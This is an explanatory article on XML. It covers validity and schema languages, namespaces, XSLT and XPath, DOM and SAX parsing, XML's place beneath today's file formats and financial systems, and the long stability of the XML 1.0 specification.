Extensible Markup Language

Well-formedness versus validity

XML enforces two tiers of document correctness. A document is well-formed if it follows the syntax rules: every opening tag has a matching closing tag (or uses self-closing syntax), elements nest without overlapping, attribute values are quoted, and exactly one root element exists. Every conformant XML parser rejects documents that are not well-formed — there is no error-recovery mode equivalent to HTML's lenient parsing.

A document is valid if it is well-formed and also conforms to a schema that defines which elements, attributes, and data types are permitted. Three schema languages compete for this role. DTD (Document Type Definition) is the oldest, inherited from SGML, and defines element grammar using a compact notation. XML Schema (XSD), published by the W3C in 2001, adds typed validation with inheritance, complex type definitions, namespace-aware constraints, and cardinality rules that DTDs cannot express. RELAX NG, developed by James Clark and Murata Makoto, offers a simpler, more readable alternative that many developers prefer for hand-authored schemas. Most XML encountered in practice is well-formed but never validated against a schema.

Namespaces and compound documents

When a single XML document combines vocabularies from different sources — an SVG graphic embedded in an XHTML page, or invoice line items alongside digital signature elements — element names from different vocabularies might collide. XML namespaces solve this by binding prefixes to URIs. A SOAP envelope might use the SOAP namespace for its structure while the payload uses a UBL namespace for invoice elements. The xmlns attribute declares these bindings, and prefixed element names like cbc:IssueDate make the vocabulary origin explicit. Namespaces are essential in enterprise XML but are one of the features that makes XML harder to work with than JSON, which has no namespace mechanism.

Transformation and querying

XSLT (XSL Transformations) is a declarative language for converting XML documents into other formats. An XSLT stylesheet contains templates that match nodes in the source document and output transformed content — HTML for web display, a different XML vocabulary for system integration, or plain text for reporting. XSLT 1.0, published in 1999, remains widely deployed. XSLT 3.0, published in 2017, added streaming support for transforming documents larger than available memory.

XPath provides the query language that XSLT and other tools use to address nodes within an XML tree. An expression like //product[@category='electronics']/price selects price elements under product elements with a matching category attribute anywhere in the document. XPath 1.0 handles most practical queries. XQuery extends XPath into a full query language comparable to SQL for XML databases.

DOM versus SAX parsing

Two fundamental parsing strategies exist for XML. DOM (Document Object Model) parsers read the entire document and build an in-memory tree structure that applications traverse and manipulate. This is convenient for small-to-medium documents but fails on large files because the tree consumes several times the document's file size in memory. SAX (Simple API for XML) parsers stream through the document, firing callbacks for start-element, end-element, and character-data events without building a tree. SAX is essential for processing multi-gigabyte XML feeds — financial transaction logs, scientific datasets, government data dumps — where DOM parsing would exhaust available memory. StAX (Streaming API for XML) provides a pull-based alternative where the application controls iteration.

Lost the API war, powers everything underneath

XML dominated web data interchange through the early 2000s. SOAP web services wrapped XML payloads in XML envelopes with XML schemas and XML security. The complexity was staggering. When REST architecture gained traction and JSON offered a simpler, more compact alternative that mapped directly to JavaScript objects, developers migrated en masse. By 2012, JSON had overtaken XML for new web APIs. Today, roughly 78% of public APIs use JSON.

But XML never disappeared. It retreated from the visible surface layer into the infrastructure. Every DOCX, XLSX, and PPTX file is a ZIP archive containing XML documents — rename one to .zip and extract it to see the XML inside. SVG, the web's vector graphics format, is XML. RSS and Atom feeds are XML. Android layouts and manifests are XML. Maven pom.xml files build most Java projects. SAML authentication assertions are XML. Banking wire transfers use ISO 20022 XML messages. Healthcare data exchanges run on HL7 FHIR, which supports XML alongside JSON. Saudi Arabia's ZATCA e-invoicing mandate requires UBL 2.1 XML for all electronic invoices. The narrative that "XML is dead" confuses the loss of API dominance with disappearance. XML is less visible but arguably more entrenched than ever in the systems that actually move money, documents, and data.

Stability as a feature

XML 1.0 has had exactly five editions from its initial publication in 1998 to the Fifth Edition in 2008. Since then — nothing. No sixth edition, no breaking changes, no deprecations. This makes XML 1.0 one of the most stable specifications in the history of web technology. For archival and preservation contexts, where a format must remain readable for decades, this stability record is a significant advantage. The Library of Congress catalogs XML under FDD fdd000075 as a recognized preservation format.